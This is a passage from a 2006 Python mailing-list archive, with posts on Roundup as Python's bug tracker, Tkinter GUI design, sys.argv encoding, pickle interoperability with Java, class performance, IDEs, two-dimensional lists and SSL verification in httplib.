at the same time, which is tenfold as difficult. The first problem is understanding how the logic of program will work, and the second, how to use commands properly to carry out that logic. Which is fine, I make this mistake often enough.. Hope this helps.. I didn't want to write out a solution 'cause you'll learn better if you do it on your own. -Rainy From bignose+hates-spam at benfinney.id.au Mon Oct 9 21:25:09 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 10 Oct 2006 11:25:09 +1000 Subject: Good sign for Roundup as Python bug tracker (was: Python to use a non open source bug tracker?) References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <87hcyd9d3e.fsf_-_@benfinney.id.au> Magnus Lycka writes: > Fredrik Lundh wrote: > > python.org could still need a few more roundup volunteers, but > > it's not like nobody's prepared to contribute manhours. don't > > underestimate the community. > > So, how many have offered to help? Is this information available in > some public repository? I don't yet know of private discussions leading to it, but Brett Cannon has made an unofficial announcement that Roundup has been picked: I am making an unofficial announcement here that it looks like we will be able to go with Roundup as the issue tracker for python-dev. Now this does not mean people should stop volunteering by emailing infrastructure at python.org! We have not finalized which of the volunteers will be asked to help admin the Roundup installation so if you want to help please email us with your timezone, rough amount of time you can donate per week, and your Roundup experience. This announcement is unofficial because there has been an offer for professional Roundup hosting. We are awaiting the details of the offer before deciding how to proceed. Once we have decided how we are going to handling hosting there will be an official announcement with more details. -- \ "The face of a child can say it all, especially the mouth part | `\ of the face." -- Jack Handey | _o__) | Ben Finney From mxywp at 126.com Sun Oct 22 00:59:07 2006 From: mxywp at 126.com (mxywp) Date: Sun, 22 Oct 2006 12:59:07 +0800 (CST) Subject: question: script to input data into a web page and then retrieve the result? Message-ID: <453AFA9B.00003F.31158@bj126app31.126.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: From http Fri Oct 13 06:19:26 2006 From: http (Paul Rubin) Date: 13 Oct 2006 03:19:26 -0700 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <452f51a3$0$30999$426a74cc@news.free.fr> Message-ID: <7xd58w4ixd.fsf@ruckus.brouhaha.com> "Fredrik Lundh" writes: > and a zillion other more or less interesting research projects. I don't see any traces > of the kind of ecosystems and market awareness that exist for Zope, Django, and > TurboGears (or for that matter, Rails and Mason), for any other Python web pro- > gramming tool. Twisted? From horpner at yahoo.com Mon Oct 23 13:43:22 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 23 Oct 2006 19:43:22 +0200 Subject: encoding of sys.argv ? References: <20061023130504.26823717@autremonde> Message-ID: On 2006-10-23, Jiba wrote: > Hi all, > > I am desperately searching for the encoding of sys.argv. > > I use a Linux box, with French UTF-8 locales and an UTF-8 > filesystem. sys.getdefaultencoding() is "ascii" and > sys.getfilesystemencoding() is "utf-8". However, sys.argv is > neither in ASCII (since I can pass French accentuated > character), nor in UTF-8. It seems to be encoded in "latin-1", > but why ? It will most likely be in the encoding of the terminal from which you call Python, in other words, sys.stdin.encoding. Your only hope of accepting non-US-ASCII command line arguments in this manner is that sys.stdin.encoding is divined correctly by Python. -- Neil Cerutti Facts are stupid things. --Ronald Reagan From svenn.are at bjerkem.de Sun Oct 8 16:44:28 2006 From: svenn.are at bjerkem.de (Svenn Bjerkem) Date: 8 Oct 2006 13:44:28 -0700 Subject: Some advice needed on an Tkinter app that I try to write Message-ID: <1160340268.859731.231460@i42g2000cwa.googlegroups.com> Hi, Armed with Programming Python 3rd Edition and Learning Python 2nd edition I try to write an application which I at first thought was simple, at least until I was finished with the GUI and then wanted to start putting some data into it. As you will see, the program is not yet finished but I post what I have so far. It will read a spice file and extract the interfaces to the subcircuits. The purpose of the program is to assign the interface pins to sides of a rectangular box symbol which will represent the subcircuit in a graphical design tool dedicated for electronics design (Cadence to be precise) The output of the tool will be a lisp like text format which can be read into that tool and there the actual generation of the graphical symbol will take place. The name of the subcircuits will be shown in the ScrolledList Widget. When the user click on one of the entries of that widget, the pins of the interface will be shown in the AssignList widget. (I have not managed this, yet) If the user select any of the ScrolledList entries (Single selection) the current setting is shown in the other widgets. This implies that the user can move from one subcircuit to the next before all pins have been placed. (I need some kind of an in-memory database to take care of the data) In the AssignList widget, either the user can select one or more entries (extended selection) and press one of the four buttons left,top,bottom,right and the pins will be moved to the respective PinList widget. This process goes on until all the pins have been assigned a side. When a pin is moved from the AssignList to one of the PinList widgets, the pin is deleted from the AssignList. If the user by accident move a pin to the wrong side, he can select the wrongly placed pin and press the "Move here" button under the proper PinList widget. Pins will always be placed at the bottom of a PinList. This will make a rudimentary rearrange possible: If the Move Here button of the same PinList widget is pressed, the selected pins (extended selection) are moved to the bottom. (in an extended selection the highest index will be moved first) When I have come this far, I will add a menu line with options to save the whole database to the text format which I can read into Cadence. My biggest problem is probably that I have to implement a model view controller but none of the books cover how to do this in Python. I have tried to search on the web with google and find a lot of descriptions, but so far nothing that make me more clever. The problem which I have been chewing on the whole weekend is how to tell the AssignList to load the pins belonging to the subcircuit selected in ScrolledList. Any ideas? -- Svenn #!/bin/env python from Tkinter import * class ScrolledList(Frame): def __init__(self, data, parent=None): Frame.__init__(self, parent) self.pack(expand=YES, fill=BOTH) self.makeWidgets(data) def handleList(self, event): index = self.listbox.curselection() label = self.listbox.get(index) self.listbox.insert(END, label) self.runCommand(label) def makeWidgets(self, options): sbar = Scrollbar(self) list = Listbox(self, relief=SUNKEN) sbar.config(command=list.yview) list.config(yscrollcommand=sbar.set) sbar.pack(side=RIGHT, fill=Y) list.pack(side=LEFT, expand=YES, fill=BOTH) pos=0 for label in options: list.insert(pos,label) pos += 1 list.bind('<>', self.handleList) list.bind('', self.handleList) list.configure(selectmode=EXTENDED) self.listbox = list def runCommand(self, selection): print 'You selected in: ', self g_from=self #---------------------------------------------------------- # A Widget to set some pins #---------------------------------------------------------- class PinList(Frame): def __init__(self, text="", parent=None): Frame.__init__(self, parent) self.pack(expand=YES, fill=BOTH) self.makeWidgets(text) def makeWidgets(self, text): frame = LabelFrame(self, text=text) list = Listbox(frame, relief=SUNKEN) sbar = Scrollbar(frame) button = Button(frame, text='Move here', command=self.handleList) sbar.config(command=list.yview) list.config(yscrollcommand=sbar.set) frame.pack(side=LEFT, expand=YES, fill=BOTH) button.grid(column=0, row=1, sticky=E+W) list.grid(column=0, row=0, sticky=N+S+E+W) sbar.grid(column=1, row=0, sticky=N+S) frame.columnconfigure(0, weight=1) frame.rowconfigure(0, weight=1) list.bind('<>', self.handleList) self.listbox = list def handleList(self, event): index = self.listbox.curselection() label = self.listbox.get(index) def runCommand(self, selection): print 'You selected: ', selection class AssignList(Frame): def __init__(self, data, parent=None): Frame.__init__(self, parent) self.pack(expand=YES, fill=BOTH) self.makeWidgets() def makeWidgets(self): b1 = Button(self, text="L\ne\nf\nt").grid(column=0, row=1, sticky=N+S) b2 = Button(self, text="Top").grid(column=1, row=0, sticky=E+W) b3 = Button(self, text="Bottom").grid(column=1, row=2, sticky=E+W) b4 = Button(self, text="R\ni\ng\nh\nt").grid(column=2, row=1, sticky=N+S) l1 = Listbox(self).grid(column=1, row=1, sticky=N+S+E+W) self.columnconfigure(1, weight=1) self.rowconfigure(1, weight=1) self.listbox = l1 # Test variables ------------------------------------------ data = {'buffer' : ['output', 'input', 'avdd', 'avss'], 'inverter': ['outputx', 'input', 'avdd', 'agnd'], 'adc' : ['d3', 'd2', 'd1', 'd0', 'anin', 'aref', 'clk']} # --------------------------------------------------------- #root = Tk() class AppGui(Frame): def __init__(self,parent=None): Frame.__init__(self,parent=None) self.pack(expand=YES, fill=BOTH) self.make_widgets() def make_widgets(self): raw = LabelFrame(self, text="The Raw SUBCKT Data") raw.pack(fill="both", expand="yes") raw_pane = PanedWindow(raw) raw_pane.pack(fill="both", expand="yes") subckt_frame = LabelFrame(raw_pane, text="The SUBCKT Entities") subckt_frame.pack(side="left", fill="both", expand="yes") subckt_list = ScrolledList(data, subckt_frame) subckt_list.pack(side="left", fill="both", expand="yes") assign_frame = LabelFrame(raw_pane, text="Assign pins to sides") assign_frame.pack(side="left", fill="both", expand="yes") assign_list = AssignList(data, assign_frame) assign_list.pack(side="left", fill="both", expand="yes") raw_pane.add(subckt_frame) raw_pane.add(assign_frame) pins = LabelFrame(self, text="The assigned pins") pins.pack(fill="both", expand="yes") left_frame = PinList(parent=pins, text="Left side") left_frame.pack(side="left", fill="both", expand="yes") top_frame = PinList(parent=pins, text="Top side") top_frame.pack(side="left", fill="both", expand="yes") bottom_frame = PinList(parent=pins, text="Bottom side") bottom_frame.pack(side="left", fill="both", expand="yes") right_frame = PinList(parent=pins, text="Right side") right_frame.pack(side="left", fill="both", expand="yes") AppGui().mainloop() From Sloan.Kohler at gmail.com Mon Oct 9 21:03:52 2006 From: Sloan.Kohler at gmail.com (Sloan.Kohler at gmail.com) Date: 9 Oct 2006 18:03:52 -0700 Subject: (semi-troll): Is Jython development dead? Message-ID: <1160442232.144014.109470@i42g2000cwa.googlegroups.com> Is Jython development dead or has it just seemed that way for over a year?. The jython.org website has a recent new appearance (but no new content) and there is some message traffic on the developer site at Sourceforge. However nothing has been released for over a year (i.e. no support for Python 2.3, 2.4 or 2.5). Is seems that IronPython may have a better future than Jython. I know this is a bit of a troll but I'm concerned about choosing Jython as the basis for a cross platform test scipt execution environment. Does anyone know if a Jython update is imminent? - Sloan From 06virg at gmail.com Fri Oct 6 07:10:54 2006 From: 06virg at gmail.com (virg) Date: 6 Oct 2006 04:10:54 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160124108.779860.236940@i3g2000cwc.googlegroups.com> <1160125387.706686.70090@h48g2000cwc.googlegroups.com> <1160126999.826707.75010@i42g2000cwa.googlegroups.com> Message-ID: <1160133054.271586.98900@c28g2000cwb.googlegroups.com> Hi, Yes, using python client we are able deserialize data using r = pickle.loads(result). where result is a response from the server and r is a dictionary after deserialization. For serialisation at the server written in python using pickle.dumps(result, 2) Now we are developing web based Client using java. So we are writing client in java. If server and client are in python we dont see any problems since we are using same serialisation tool "pickle". Now we have seen problems because we are writing client in java. we did not find equivalent function on java for this tool pickle. If i use standard java desrialisation functions i am getting error as invalid header becasue of incompatibility between python and java. Please help me if you have any clue regards, - Virg hanumizzle wrote: > On 6 Oct 2006 02:29:59 -0700, virg <06virg at gmail.com> wrote: > > Yes your are right. I will send a dictionary object from the server to > > the client. > > I already have client which is written in python. But we are migrating > > the python client which is a command line tool to Web UI client > > (java). > > Please explain 'Web UI'. Can Python perform an equivalent function? > > -- Theerasak From http Thu Oct 12 07:34:53 2006 From: http (Paul Rubin) Date: 12 Oct 2006 04:34:53 -0700 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: <7xfydtojhe.fsf@ruckus.brouhaha.com> "idknow at gmail.com" writes: > fun median { > var x = 0. > while( *p++) { > if( (*p) > x) x = *p. > } > return x. > } I count two variables, p and x. From peter.maas at somewhere.com Sun Oct 8 16:43:18 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Sun, 08 Oct 2006 22:43:18 +0200 Subject: New-style classes slower than old-style classes? (Was: n-body problem at shootout.alioth.debian.org) In-Reply-To: <4528633c$0$3249$afc38c87@news.optusnet.com.au> References: <61JVg.138429$_J1.903927@twister2.libero.it> <4528633c$0$3249$afc38c87@news.optusnet.com.au> Message-ID: Richard Jones wrote: > Giovanni Bajo wrote: [...] >> Anyway, this is a bug on its own I believe. I don't think new-style >> classes are meant to be 25% slower than old-style classes. Can any guru >> clarify this? > > Please try 2.5 - there's been significant optimisation work put into 2.5 I checked that: 10000 runs of nbody.py, time in sec | classic | new-style | n/c -----------+---------+-----------+---------- python 2.4 | 2.33 s | 2.89 s | 1.24 python 2.5 | 2.06 s | 2.61 s | 1.27 2.4/2.5 | 1.13 | 1.11 | - You are right, 2.5 is better than 2.4. But the runtime penalty for using new-style classes remains. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From steven.bethard at gmail.com Wed Oct 25 19:22:26 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 25 Oct 2006 17:22:26 -0600 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: Hakusa at gmail.com wrote: > Recently I've had some problems with PythonWin when I switched to > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent > helper, and I'm looking for a cool replacement, or some advocation to > reinstall/setup PyWin. But the Python website's list is irrefutably > long. It would take a month or two to test all of those products. So > I'm looking for experienced advocates. > > What's your favorite IDE? > What do you like about it? > It would be fine for a begginer, right? I don't really have a good answer here, but maybe a data point. I got tired of waiting for ActiveState to put out a Python 2.5 and installed the one from python.org instead, which doesn't include PythonWin. I figured that I should take the opportunity to try out Komodo, which I'd heard was pretty good. I downloaded the alpha and used it for about half a month. Komodo's interface is pretty good, and when you're writing code in a module, the auto-completion is great, but there's no auto-completion at the interactive prompt. I use the interactive prompt heavily, so that was pretty much the end of it for me. I downloaded the pywin32 module and got my PythonWin back. =) STeVe From paul at boddie.org.uk Wed Oct 4 11:22:06 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 4 Oct 2006 08:22:06 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <87ac4ciynk.fsf@benfinney.id.au> <1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com> Message-ID: <1159975325.127309.290210@i3g2000cwc.googlegroups.com> Fredrik Lundh wrote: > Valentino Volonghi wrote: > > > Considering that trac can also run on postgres or mysql and also > > considering that both of these databases have enough tools to deal with > > backups I think it's a non issue. > > 10k entries shouldn't be much of an issue for sqlite3 either. Out of interest, here are some figures: KDE: 12983 bugs and 11656 wishes GNOME: 23624 reports Python: 7159 bugs, 3843 patches, 477 feature requests The Python figures are totals, whereas I can't be sure whether the KDE and GNOME figures merely refer to the open issues. Nevertheless, Python isn't going to be pushing the envelope. Paul From horpner at yahoo.com Sun Oct 22 21:57:15 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Mon, 23 Oct 2006 01:57:15 GMT Subject: Arrays? (Or lists if you prefer) References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> Message-ID: <%jV_g.7670$5i7.2617@newsreading01.news.tds.net> On 2006-10-23, Hakusa at gmail.com wrote: > Pythonic lists are everything I want in a one dimensional array > . . . but I'm trying to do a text adventure and simplify the > proces by creating a grid as opposed to a tedious list of rooms > this room connects to. Not to chase you out of comp.lang.python, but take a stroll by rec.arts.int-fiction for pointers to a selection of domain specific programming languages and virtual machines for writing text adventures. > So I want to know a good way to do a SIMPLE two dimensional > array. Python's lists are a little confusing when it comes to > how to do this. I realized that I could do > > list = [ [0] * N ] * N You're right to be suspicious of that construct. >>> a = [[0] * 2] * 2 >>> a [[0, 0], [0, 0]] >>> a[0][1] = "Oops." >>> a [[0, 'Oops.'], [0, 'Oops.']] The problem is that Python lists hold references, not objects, combined with the behavior of the multiplication operator on lists. > but I don't know if it would work because I'm a newbie and only > understand arrays if they're in grid-like form. And I haven't > ben thru linear algebra yet, due to my school giving me a few > set backs I'm allready having to take geometry and allgebra II > which are meant to be taken one after another at my school, so > any suggestions or hints in that direction won't be helpful. > > So: > Way to do SIMPLE array, either internally or externally, with > Python, please. The problem wasn't with the construct, but in the way it was constructed. Just build it up bit by bit, or build it all at once using range() and then fill it in afterwards. >>> b =[range(2), range(2)] >>> b [0, 1], [0, 1]] >>> b[0][1] = "OK." >>> b [0, 'OK.'], [0, 1]] A flexible way to do it instead might be to make your data attributes of objects, instead. It won't be as fast as decoding multi-dimensional arrays, but it'll be easier to work with. Then again, there's Inform, TADS, HUGO, the Z-machine, Glk and Adrift to consider. ;-) -- Neil Cerutti From msoulier at gmail.com Wed Oct 4 21:22:30 2006 From: msoulier at gmail.com (msoulier) Date: 4 Oct 2006 18:22:30 -0700 Subject: ANN: Tftpy 0.1 - Pure Python TFTP Library Message-ID: <1160011350.564729.315850@i3g2000cwc.googlegroups.com> Announcing new project, Tftpy, a Pure Python TFTP implementation. About Release 0.1: ================== This is an initial release in the spirit of "release early, release often". Currently the sample client works, supporting RFC 1350. The server is not yet implemented, and RFC 2347 and 2348 support (variable block sizes) is underway, planned for 0.2. About Tftpy: ============ Tftpy is a TFTP library for the Python programming language. It includes client and server classes, with sample implementations. Hooks are included for easy inclusion in a UI for populating progress indicators. It supports RFCs 1350, 2347 and 2348. This library was developed against Python 2.4.1. Project page: http://sourceforge.net/projects/tftpy/ License is the CNRI Python License. http://www.opensource.org/licenses/pythonpl.php From ebgssth at gmail.com Mon Oct 2 11:48:38 2006 From: ebgssth at gmail.com (js ) Date: Tue, 3 Oct 2006 00:48:38 +0900 Subject: Sort by domain name? In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com> References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> Message-ID: Thanks for your quick reply. yeah, it's a hard task and unfortunately even google doesn't help me much. All I want to do is to sort out a list of url by companyname, like oreilly, ask, skype, amazon, google and so on, to find out how many company's url the list contain. From gagsl-py at yahoo.com.ar Thu Oct 19 14:17:42 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 15:17:42 -0300 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> Message-ID: <7.0.1.0.0.20061019151432.05a846f0@yahoo.com.ar> At Thursday 19/10/2006 15:04, Jerry wrote: >Now I've >come accross decorators and even though I've read the PEP and a little >in the documentation, I just don't get what they are or what problem >they are trying to solve. Can anyone please point me to a general >discussion of decorators (preferrably explained with Python)? These links may be useful: -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From heikki at osafoundation.org Wed Oct 18 00:57:32 2006 From: heikki at osafoundation.org (Heikki Toivonen) Date: Tue, 17 Oct 2006 21:57:32 -0700 Subject: httplib and HTTPS Connections In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> Message-ID: <15KdnZaRD_3jKajYnZ2dnUVZ_vSdnZ2d@comcast.com> runningwild wrote: > This is the first time I have cared about httplib's HTTPSConnection. Please note that the Python builtin SSL support is not really secure. It does not make sure that you connect to the site you think you are connecting to, for example. If you really need secure SSL (what is the point of SSL if not secure I ask) you should look at other Python modules. There are several to choose from, for example M2Crypto (I am the maintainer of that), TLS Lite, PyOpenSSL, PyOpenSSL-extended, and possibly others that I am forgetting right now. -- Heikki Toivonen From riklaunim at gmail.com Wed Oct 25 14:31:54 2006 From: riklaunim at gmail.com (riklaunim at gmail.com) Date: 25 Oct 2006 11:31:54 -0700 Subject: ANN: Diamanda Wiki and MyghtyBoard Forum Test 1 Message-ID: <1161801113.950400.169650@i3g2000cwc.googlegroups.com> Diamanda Wiki and MyghtyBoard Forum Test 1 Diamanda is a wiki django application and Myghty Board is a bulletin board application. Both written in Django >= 0.95. Download: http://sourceforge.net/project/showfiles.php?group_id=163611&package_id=208996 or the latest code from SVN at http://code.google.com/p/diamanda/ Screenshots: http://www.fotosik.pl/showFullSize.php?id=0618289d5a1d1244 http://www.fotosik.pl/showFullSize.php?id=19156afd3b1e1e55 http://www.fotosik.pl/showFullSize.php?id=b7257958f0055ec8 Wiki Features: - full history, diff between all - permission system for users and anonymous - edit proposals - user/anonymous changes may be marked as edit proposals and not visible on the page until admin approval - safe html as a markup - contentBBcode tags that create nice links to page, table grids, thumbnails, highlight code and more - task management Forum Features: - Categories -> Forums -> Topics -> Posts - Forums may be redirects (links) - Close/Open, Move, Delete Topic, Edit/Delete Post - Simple User Profile and Emails as Private Messages - punBB importer (and with punBB migration tool other PHP forum scripts like phpBB, IPB...) To use this apps you need up and running Django framework (www.djangoproject.com) The installation of Diamanda and MyghtyBoard is in the readme. If you have any problems post them on the support sites (they may take few days to redirect DNS... www.rkblog.rk.edu.pl - English and www.python.rk.edu.pl - Polish) or email me :) From fredrik at pythonware.com Fri Oct 6 11:58:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 17:58:06 +0200 Subject: Bug in re module? In-Reply-To: <1160149779.553564.9210@m7g2000cwm.googlegroups.com> References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com> Message-ID: Ant wrote: > > I would have expected this to produce: > > ('String') > > since (:?...) should be a non-capturing group. From the module > reference: > > (?:...) (?:...) isn't the same thing as (:?...), though. From yaaang at gmail.com Tue Oct 10 23:32:22 2006 From: yaaang at gmail.com (Yang Zhang) Date: Tue, 10 Oct 2006 23:32:22 -0400 Subject: Python 2.5 "make install" bug? Message-ID: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com> All the site-packages/*.so files get copied to the directory specified in my ~/.pydistutils.cfg instead of lib-dynload under the prefix dir, then proceeds to chmod 755 all the files in that directory (including ones that existed before install). Please advise. From _karlo_ at _mosor.net_ Tue Oct 10 18:33:05 2006 From: _karlo_ at _mosor.net_ (Karlo Lozovina) Date: Tue, 10 Oct 2006 22:33:05 +0000 (UTC) Subject: MP3 files and Python... Message-ID: I'm looking for a Python lib which can read and _write_ ID3v1 and ID3v2 tags, and as well read as much as possible data from MP3 file (size, bitrate, samplerate, etc...). MP3 reproduction is of no importance... -- _______ Karlo Lozovina - Mosor | | |.-----.-----. web: http://www.mosor.net || ICQ#: 10667163 | || _ | _ | Parce mihi domine quia Dalmata sum. |__|_|__||_____|_____| From paddy3118 at netscape.net Fri Oct 13 00:46:55 2006 From: paddy3118 at netscape.net (Paddy) Date: 12 Oct 2006 21:46:55 -0700 Subject: Starting out. In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> Message-ID: <1160714815.630167.305860@m7g2000cwm.googlegroups.com> Ahmer wrote: > Hi all! > > I am a 15 year old High School Sophomore. I would like to start > programming in Python. In school, we are learning Java (5) and I like > to use the Eclipse IDE, I also am learning PHP as well. > > What are some ways to get started (books, sites, etc.)? I am usually on > linux, but I have a windows box and am planning on getting a mac. Pydev gives you a Python mode for Eclipse: http://pydev.sourceforge.net/ The Python tutorial is a good way to learn Python: http://docs.python.org/tut/ Some pointers on writing Python for Java programmers: http://www.ferg.org/projects/python_java_side-by-side.html I guess you are new to both Java and Python, but if you know Java and were starting Python, the following points out that certain idioms of Java do not translate well to Python: http://dirtsimple.org/2004/12/python-is-not-java.html And finally: Lets 'big-up' Python: http://www.paulgraham.com/pypar.html I hope you enjoy Python. All the best, Paddy. P.S. maybe your High school might be interested in teaching Python as a first language rather than Java? http://www.oreilly.com/pub/a/oreilly/frank/elkner_0300.html http://www.python.org/workshops/2000-01/proceedings/papers/elkner/pyYHS.html From michael at stroeder.com Thu Oct 19 08:46:26 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Thu, 19 Oct 2006 14:46:26 +0200 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) In-Reply-To: <1161252764.244873.134740@f16g2000cwb.googlegroups.com> References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> Message-ID: <2m8k04-gfe.ln1@nb2.stroeder.com> NoelByron at gmx.net wrote: > > print 'K\xc3\xb6ni'.decode('utf-8') > > and this line raised a UnicodeDecode exception. Works for me. Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode object. With print this is implicitly converted to string. The char set used depends on your console Check this out for understanding it: >>> u = 'K\xc3\xb6ni'.decode('utf-8') >>> s=u.encode('iso-8859-1') >>> u u'K\xf6ni' >>> s 'K\xf6ni' >>> Ciao, Michael. From bearophileHUGS at lycos.com Wed Oct 18 18:50:55 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 18 Oct 2006 15:50:55 -0700 Subject: Flexible Collating (feedback please) In-Reply-To: References: <35kZg.6681$fl.2685@dukeread08> Message-ID: <1161211855.842193.104220@i3g2000cwc.googlegroups.com> Ron Adam: Insted of: def __init__(self, flags=[]): self.flags = flags self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE) self.txtable = [] if HYPHEN_AS_SPACE in flags: self.txtable.append(('-', ' ')) if UNDERSCORE_AS_SPACE in flags: self.txtable.append(('_', ' ')) if PERIOD_AS_COMMAS in flags: self.txtable.append(('.', ',')) if IGNORE_COMMAS in flags: self.txtable.append((',', '')) self.flags = flags I think using a not mutable flags default is safer, this is an alternative (NOT tested!): numrex = re.compile(r'[\d\.]* | \D*', re.LOCALE|re.VERBOSE) dflags = {"hyphen_as_space": ('-', ' '), "underscore_as_space": ('_', ' '), "period_as_commas": ('_', ' '), "ignore_commas": (',', ''), ... } def __init__(self, flags=()): self.flags = [fl.strip().lower() for fl in flags] self.txtable = [] df = self.__class__.dflags for flag in self.flags: if flag in df: self.txtable.append(df[flag]) ... This is just an idea, it surely has some problems that have to be fixed. Bye, bearophile From johan.h.lindberg at gmail.com Tue Oct 3 07:22:18 2006 From: johan.h.lindberg at gmail.com (johan.h.lindberg at gmail.com) Date: 3 Oct 2006 04:22:18 -0700 Subject: app with standalone gui and web interface In-Reply-To: References: <1159863703.408329.274450@i3g2000cwc.googlegroups.com> Message-ID: <1159874538.150945.125180@k70g2000cwa.googlegroups.com> > Johan, your way of doing it resembles XUL somewhat, although I can't > say I fully understand XUL I just took a look some days ago. Let me > see if I understand your approach: Yes it's a lot like XUL, but there are some major differences. The most important one is that, at least back then, you had to use JavaScript. Also, XUL had (has) a much more limited set of widgets and you can't escape the surrounding Browser. > If you want to have something very dynamical you do it the way you > described with the wxwml source getting parsed, converted to wxpython > and then run by python all at once. At the same time the webserver can > fetch the same wxwml source, convert it into html/xml and send that to > the web client. Now if one wants to bypass wxbrowser and the real time > conversion to wxpython, then, sacrificing some level of dynamicness, > why not convert the wxwml source 'statically' into wxpython, bundle > that as an app and at the same time convert it also to xml/html > 'statically' and have that served by a webserver. In this way any time > the gui changes one needs to go through both convertions once, bundle > the desktop app again, update the webserver but there won't be any > security whole or any magic that is not pure python or not pure > html/xml. Does this sound reasonable or am I misunderstanding > something? > > In fact something like that is the thing I'm looking for, some > language that can specify a gui and can be used to generate > 'statically' both wxpython source (or some other widget set) or > html/xml source. Ok, there are ways to do that... sort of. You could modify or extend the wxBrowser to do this but you should really have a look at extending XRC (have a look at XRCed which comes with wxPython if you don't know what it is). Even though it doesn't do *everything* you want it's a good place to start. An XRC-file is an XML-specification of a wx GUI which can be loaded by a wxApp to generate a "static" GUI. However, if you want any sort of functionality to go with your program you're going to have to find a way to also include the equivalent of HTML script-tags that you can hook into wx event-handlers. I don't think XRC has that. Also, last time I looked, XRC is very sensitive so if you do change the format here and there to include other stuff, make sure to remove it before you try to parse it in the wxApp (it complains otherwise, or at least it used to). The wxBrowser does all of this for you, but at run time, there's currently no way of packaging it all up in one big XML file that could be saved as wxPython source. But it's sure doable. I don't know which is easier but either way, I'm guessing that you're going to have to write some code of your own. If you decide to extend/modify the wxBrowser, let me know, I might be able to help you out. BR Johan Lindberg johan at pulp.se PS You should also ask around at the wxPython-users list (http://aspn.activestate.com/ASPN/Mail/Browse/Threaded/wxPython-users). From jmdeschamps at gmail.com Sun Oct 1 08:41:28 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 1 Oct 2006 05:41:28 -0700 Subject: does anybody earn a living programming in python? In-Reply-To: <1hmhych.1jaomee1msbzi8N%aleax@mac.com> References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> Message-ID: <1159706488.576589.82080@i3g2000cwc.googlegroups.com> Alex Martelli wrote: > Magnus Lycka wrote: > ... > > stuff in the world, so my standard extrapolation technique would yield > > 30000 python programmers globally. > > I think this estimate is low, based on three piece of data I know (but, > sorry, are all confidential;-) and thus one I can infer: > -- I know how many copies of "Python in a Nutshell" Google buys; > -- I know how many Python programmers work at Google; > -- I know how many copies the Nutshell sells worldwide; > > Assuming the willingness to buy "Python in a Nutshell" is constant > across the population of Python programmers (and I don't believe my > working there influences anything -- Google had the Nutshell in the > standard set of books engineers use, well before I got hired there), I > can project a worldwide number of Python programmers that's several > times higher than that. > > Or perhaps not, depending on the definition of "Python programmer". > Most of Google's software developers who know Python also know one or > more (generally several) of C, C++, Java, SQL, HTML, Javascript, &c, > though they may or may not use any one or more of them often on the job; > many Googlers who program only in Python do not _just_ program -- they > are also working on other jobs besides software development (hardware > design, testing, management, administrative assistance, system > administration, network operations, whatever...). Hey, by a > sufficiently strict definition _I_ don't count as a "Python programmer", > since I also do substantial amounts of management, not to mention a > little bit of C++, some C, SQL, HTML, and so forth...;-) > > > Alex A few points: Personnally, I've never heard_of a Python_only programmer... When I chose Python for web dev programming class, no one knew why I was using a (second_rate) handy-crafty language, instead of ASP-PHP_whateverP language that was in the mainstream. Because of academic freedom, I was allowed to show it as a *different* type of language. Most mainstream job boards here in Montreal had never posted ANY (not that I could find) jobs (5 years ago) NONE so it went that it Python would just be a *educational* add-on for the students. Since then, feedback from students in industry is that it is being used more and more, day in and day out by top world class shops (games, effects, etc). 